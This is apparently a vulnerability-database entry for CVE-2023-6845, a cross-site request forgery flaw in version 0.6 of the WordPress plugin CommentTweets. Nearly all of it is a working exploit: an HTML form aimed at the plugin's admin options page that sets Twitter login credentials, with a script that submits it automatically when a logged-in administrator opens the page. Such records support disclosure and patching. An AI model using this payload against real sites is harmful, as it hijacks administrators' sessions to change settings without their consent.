CVE: CVE-2023-6845

Name: CommentTweets (commenttweets)

Version: 0.6

Date: 2022-12-10 19:15:33

Advisory: 

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=commenttweets%2FTwitterCommentNotification.php" method="POST">
    <input type="text" name="twitterlogin" value="aaa">
    <input type="text" name="twitterpw" value="bbb">
    <input type="text" name="submit-type" value="login">
    <input type="text" name="submit" value="save login">
</form>
<script>
    HTMLFormElement.prototype.submit.call(
        document.forms[0]
    );
</script>